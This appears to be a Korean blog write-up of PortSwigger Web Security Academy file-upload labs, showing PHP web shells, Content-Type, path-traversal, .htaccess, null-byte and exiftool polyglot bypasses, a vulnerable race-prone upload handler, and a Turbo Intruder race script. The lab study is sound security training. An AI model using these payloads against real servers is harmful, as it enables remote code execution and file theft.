[PortSwigger] File vulnerability

 

파일 업로드 취약점은 웹 서버에서 사용자가 이름, 유형, 내용 또는 크기와 같은 항목을 충분히 검증하지 않고 파일 시스템에 파일을 업로드할 수 있도록 허용하는 경우에 발생한다. 기본 이미지 업로드 기능을 사용하여 임의의 위험한 파일을 대신 업로드할 수 있다. 여기에는 원격 코드 실행을 가능하게 하는 서버측 스크립트 파일도 포함될 수 있다.

경우에 따라 파일을 업로드하는 행위 자체만으로도 피해가 발생할 수 있다. 다른 공격에는 일반적으로 서버에서 실행을 발생시키기 위해 파일에 대한 후속 HTTP 요청이 포함될 수 있다.

 

Lab: Remote code execution via web shell upload

 

이번 랩은 web shell을 업로드하여 특정 코드를 실행시켜야 하는 것 같다. PHP web shell을 업로드하여 /home/carlos/secret 파일의 내용을 추출하면 되는 듯하다.

Lab 페이지에 들어가면 먼저 로그인을 할 수 있다. 문제에서 주어진 계정으로 로그인을 해주었다.

그 다음 내 아바타로 특정 이미지를 업로드할 수 있는 기능이 있다. 우리는 이 점을 공략해야 한다.

Burp suite를 켜주고, 이미지 파일을 업로드할 때와 업로드한 파일을 보여줄 때의 http request를 확인한다.

해당 POST 요청이 이미지 파일을 업로드하는 것이다. Requset의 아래에는 이미지 파일에 대한 정보가 담겨 있고, Response로는 파일이 성공적으로 업로드되었다고 알려주는 응답이 담겨 있다.

다음은 업로드된 이미지를 보여주는 GET 요청이다. url에 /files/avators/~~를 통해 이를 유추할 수 있었다. 오류가 나서 이미지를 불러오지 못하긴 했지만, 일단 이미지를 불러오는 요청을 얻어왔기에 크게 상관은 없다.

 

이제 위의 두 요청들을 Repeater에 보내준다.

그 다음 POST 요청은 파일 이름을 ~.jpeg에서 exploit.php로 바꿔준다. 그 다음 이미지 파일에 대한 내용을 지우고 내가 원하는 php 코드를 넣어준다.

<?php
    $filename = '/home/carlos/secret';
    $fileContents = file_get_contents($filename);
    echo $fileContents;
?>

 

문제에서 알려준 경로의 파일을 열어보는 코드이다.

위의 코드를 넣어줬다. 이렇게 바꿔준 POST 요청을 보내준다.

 

그 다음 업로드된 파일을 보여주는 GET 요청을 수정해주면 된다. 여기서는 파일 이름만 exploit.php로 바꿔줬다.

바꿔준 GET 요청을 보냈더니 내가 입력한 PHP 코드가 실행되었고, 해당 경로에 있는 파일을 읽어서 Response에 담아줬다!

성공~

 

 

Lab: Web shell upload via Content-Type restriction bypass

이번 랩은 저번 랩과 비슷해 보인다. 그런데 한 가지 다른점이 있다면 file types를 특정한 것으로 제한하는 것 같다. 저번 랩의 공격 기법과 뭐가 다를지 모르겠지만.. 일단 해보자.

저번 랩처럼 마찬가지로 로그인해서 내 아바타로 이미지를 업로드했다.

POST 요청 repeater로 보내서 이미지 데이터 지우고 PHP로 바꿔주고, filename도 exploit.php로 바꿔줬다.

아무래도 이번 문제에서 checking한다고 하는 부분이 PHP 코드 위의 Content-Type이 image/jpeg가 맞는지 인 것 같다.

그 다음 업로드된 이미지를 보여주는 GET 요청 역시 파일 이름만 exploit.php로 바꿔서 보내줬다. 그랬더니 flag를 Response에 담아서 보여줬다!

 

저번 lab과 동일하게 풀 수 있었던 문제였다. 아무래도 저번 문제에서도 Content-Type을 수정하지는 않았기에 그런 것 같다.

성공!

 

 

Lab: Web shell upload via path traversal

파일 실행을 유저가 접근 가능한 디렉토리로 제한하여 공격을 방어하는 기법이 있다. 이러한 경우, 파일을 실행할 수 없는 디렉토리에서 파일을 실행하려 한다면 에러 메세지를 출력하거나 소스코드를 그냥 평문으로 보여준다고 한다.

 

이번 랩은 위의 보호기법이 적용되었다. 따라서 path traversal 기법을 통해 파일을 실행할 수 있는 디렉토리에 내가 원하는 코드를 업로드해야 할 것 같다. 문제를 보자.

이전 문제들에서 했던 것처럼 POST request의 이미지 데이터를 php로 바꿔주고 이름도 exploit.php로 바꿔줬다.

그 다음 upload된 이미지를 보여주는 GET request까지 이름을 바꿔서 보내주었다. 이전 문제들은 이렇게 하면 풀렸었는데, 이번 문제는 아까 말했던 보호 기법 때문인지 내가 작성한 코드를 그대로 Response에 담아서 보여주고 있었다.

 

이때 사용할 수 있는 공격 기법이 바로 path traversal이다. 현재 디렉토리는 파일 실행이 막혀있으니 상위 디렉토리에 파일을 업로드하는 것이다.

이를 위해서 파일의 이름을 ‘..%2fexploit.php’로 바꿔주었다. %2f는 /의 url encoding 버전이다. 필터링을 피하기 위해서는 이처럼 url encoding 버전으로 해줘야 한다.

이렇게 올리면 결과적으로 /file/avatars/../exploit.php이므로 /file/exploit.php에 파일이 존재하게 된다. 따라서 GET 요청의 파일 경로도 위처럼 수정해주면 flag를 읽어올 수 있다!

성공~

 

Lab: Web shell upload via extension blacklist bypass

이번 문제 역시 이전 문제들과 비슷하게 이미지 업로드 기능을 이용하는 문제이다. 그런데 이번 문제에서는 php 파일의 업로드를 막고 있다고 한다! 일단 문제를 보자.

이전 문제들과 똑같이 로그인해주고, burp suite로 POST 요청을 가져와서 php 코드로 수정해서 보내봤다. 그런데 문제에서 말한 것처럼 php 파일의 업로드가 막히고 있다!

 

이럴 때 사용할 수 있는 것이 apache 서버의 .htaccess 파일이다.

위의 Response를 보면 Server가 Apache/2.4.41 (Ubuntu)인 것을 확인할 수 있다.

 

따라서 .htaccess 파일을 업로드하면서 내부 내용으로 AddType을 추가해주었기에 .jin 확장자 파일을 php로 코드로 인식할 수 있도록 만들어준다.

보내주면 .htaccess 파일이 성공적으로 업로드 된 것을 확인할 수 있다.

그 다음 exploit.jin으로 php 코드를 작성해서 보내준다.

마지막에 GET 메세지로 exploit.jin을 읽어오면 flag를 확인할 수 있다!

성공~

 

Lab: Web shell upload via obfuscated file extension

이전 문제들과 비슷하다. 이번엔 난독화 기능을 통해 문제를 풀 수 있다고 한다.

그래서 .을 URL 인코딩된 %2E로 바꿔서 보내보았지만 jpg & png 파일만 업로드가 가능하다고 한다.

그래서 exploit.php%00.jpg로 널 바이트를 중간에 넣어줬다. 이렇게 되면 파일 확장자는 jpg여서 업로드는 성공되었지만 %00 때문에 뒷 부분은 사라진 채로 exploit.php가 업로드된 것을 확인할 수 있다.

GET 요청만 수정해주면 flag를 얻을 수 있다!

easy~

 

Lab: Remote code execution via polyglot web shell upload

파일 유효성을 검사하는 방법 중에는 파일의 크기, signature 등을 확인하는 방법도 있다고 한다. 예를 들어 이미지 파일을 받아야 되는데 턱없이 크기가 작다거나, JPEG 파일의 signature를 포함하고 있지 않다면 이는 이미지 파일이 아니라고 판단하고 거부하는 것이다.

 

이번 문제를 이러한 보호 기법을 뚫어야 한다. 이를 위해서 이미지 파일의 메타데이터를 이용할 것이다. 메타데이터는 디포 시간에 조금 배웠었는데, 간략히 설명하자면 파일의 실제 내용을 담고 있는 데이터가 아닌 파일 구조를 설명해주는 데이터라고 보면 된다.

 

일반적인 이미지 파일의 메타데이터에 php 코드를 추가하여 해당 코드가 수행되도록 할 것이다.

메타데이터를 수정하기 위해서는 ExifTool이라는 툴을 사용했다.

exiftool로 대상이 되는 test.jpg를 확인해보았다. 확장자는 jpg고 MIME TYPE 역시 image/jpeg임을 확인할 수 있었다.

 

여기서 잠깐 MIME TYPE에 대해 알아보자.

간단하게 생각하여 Content-type을 설명하는 것인데 바이너리 파일을 웹에서 읽을 수 있도록 인코딩/디코딩 하는 것이라고 생각하면 될 것 같다.

 

시험 삼아 commet로 ‘for test’를 넣어봤더니 잘 들어가는 것을 확인했다.

 

exiftool -comment="<?php echo 'secret !!!!!!' . file_get_contents('/home/carlos/secret') . '!!!!! secret'; ?> " test.jpg -o exploit.php

 

위처럼 해서 comment에 flag를 읽어오는 php 코드를 넣고 생성파일로 exploit.php를 만들어냈다.

exploit.php를 확인해보니 MIME TYPE도 image/jpeg이고 확장자도 jpg로 나온다. comment에도 코드가 잘 들어간 것을 확인할 수 있다.

해당 exploit.php 파일을 업로드해줬다.

그 다음 GET 요청을 확인해보면 flag를 읽어오는 php 코드 부분에서 flag를 보여주고 있는 것을 확인할 수 있었다.

 

이번 문제는 exiftool을 사용해서 파일의 Type은 jpeg로 유지하면서 메타데이터 부분만 이용하여 업로드 가능한 파일을 이미지 파일로 제한하는 보호 기법을 뚫을 수 있었다.

성공!

 

Lab: Web shell upload via race condition

이번엔 Web shell이 race condition(경쟁 상태)에서, 즉 메인 파일 시스템에 바로 올라가지 않고 임시 파일 시스템에서 검증하는 기법을 뚫어볼 것이다.

 

아래의 코드는 race condition을 발생하게 하는 코드이다.

<?php
$target_dir = "avatars/";
$target_file = $target_dir . $_FILES["avatar"]["name"];

// temporary move
move_uploaded_file($_FILES["avatar"]["tmp_name"], $target_file);

if (checkViruses($target_file) && checkFileType($target_file)) {
    echo "The file ". htmlspecialchars( $target_file). " has been uploaded.";
} else {
    unlink($target_file);
    echo "Sorry, there was an error uploading your file.";
    http_response_code(403);
}

function checkViruses($fileName) {
    // checking for viruses
    ...
}

function checkFileType($fileName) {
    $imageFileType = strtolower(pathinfo($fileName,PATHINFO_EXTENSION));
    if($imageFileType != "jpg" && $imageFileType != "png") {
        echo "Sorry, only JPG & PNG files are allowedn";
        return false;
    } else {
        return true;
    }
}
?>

 

파일은 업로드 되면 임시로 다른 디렉토리로 이동하여 바이러스와 파일 타입을 체크하고, 만약 실패한다면 unlink 해버린다.

 

이러한 보호 기법은 바이러스도 체크하는 함수가 따로 있고, 파일 타입까지 검사하고 있기에 exploit하기가 힘들어 보인다. 하지만, 파일을 검사할 때 실행되는 찰나를 노려서 해당 실행 결과는 알아오는 방법으로 공격을 수행할 수 있다.

 

이를 위해서는 아래의 툴이 필요하다.

우리는 위의 Turbo intruder을 이용하여 이전 문제들에서 보냈던 POST 요청과 GET 요청을 수정하여 두 요청을 매우 짧은 간격으로 보내는 공격을 수행할 것이다. 이렇게 되면 파일 검사를 위해 파일이 실행되는 찰나에 공격이 먹힐 수 있게 된다.

# Find more example scripts at https://github.com/PortSwigger/turbo-intruder/blob/master/resources/examples/default.py
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=10,
                           )

    request1 = '''
POST /my-account/avatar HTTP/1.1
Host: 0aac00bb0454119981f7571200c600c4.web-security-academy.net
Cookie: session=KiyQYAO5wv4eijcyFusQvCBpJ0US7bZ0
Content-Length: 61876
Cache-Control: max-age=0
Sec-Ch-Ua: 
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: ""
Upgrade-Insecure-Requests: 1
Origin: https://0aac00bb0454119981f7571200c600c4.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXYqx2UhfK8MvZQBo
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0aac00bb0454119981f7571200c600c4.web-security-academy.net/my-account
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7

------WebKitFormBoundaryXYqx2UhfK8MvZQBo
Content-Disposition: form-data; name="avatar"; filename="exploit.php"
Content-Type: image/jpeg

<?php echo file_get_contents('/home/carlos/secret'); ?>
------WebKitFormBoundaryXYqx2UhfK8MvZQBo
Content-Disposition: form-data; name="user"

wiener
------WebKitFormBoundaryXYqx2UhfK8MvZQBo
Content-Disposition: form-data; name="csrf"

yNt02ghRo4K9ZQOFedCqiTWeDGgE38Vf
------WebKitFormBoundaryXYqx2UhfK8MvZQBo--

            '''

    request2 = '''
GET /files/avatars/exploit.php HTTP/1.1
Host: 0aac00bb0454119981f7571200c600c4.web-security-academy.net
Cookie: session=KiyQYAO5wv4eijcyFusQvCBpJ0US7bZ0
Sec-Ch-Ua: 
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Sec-Ch-Ua-Platform: ""
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://0aac00bb0454119981f7571200c600c4.web-security-academy.net/my-account
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7


            '''

    # the 'gate' argument blocks the final byte of each request until openGate is invoked
    engine.queue(request1, gate='race1')
    for x in range(5):
        engine.queue(request2, gate='race1')

    # wait until every 'race1' tagged request is ready
    # then send the final byte of each request
    # (this method is non-blocking, just like queue)
    engine.openGate('race1')

    engine.complete(timeout=60)


def handleResponse(req, interesting):
    table.add(req)

 

위의 코드는 Turbo Intruder에 들어간 python 코드이다. POST, GET 요청을 담고 있고, POST 요청을 보낸 후에 5개의 GET 요청을 보내서 결과를 얻어내고 있다.

시행하였더니 3개의 결과에서 파일 실행 후 GET 요청을 보내서 성공적으로 flag를 얻어왔음을 확인할 수 있었다. 이렇게 완벽하게 보호하고 있다고 생각하더라도 틈새를 공략할 수 있는 방법이 있다는 게 신기했다. 그런데 이 기법은 파일을 빠르게 검사하고 바로 삭제해버리기 때문에 알아채기 어렵다고 한다!

아무튼 성공!

댓글 달기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다

위로 스크롤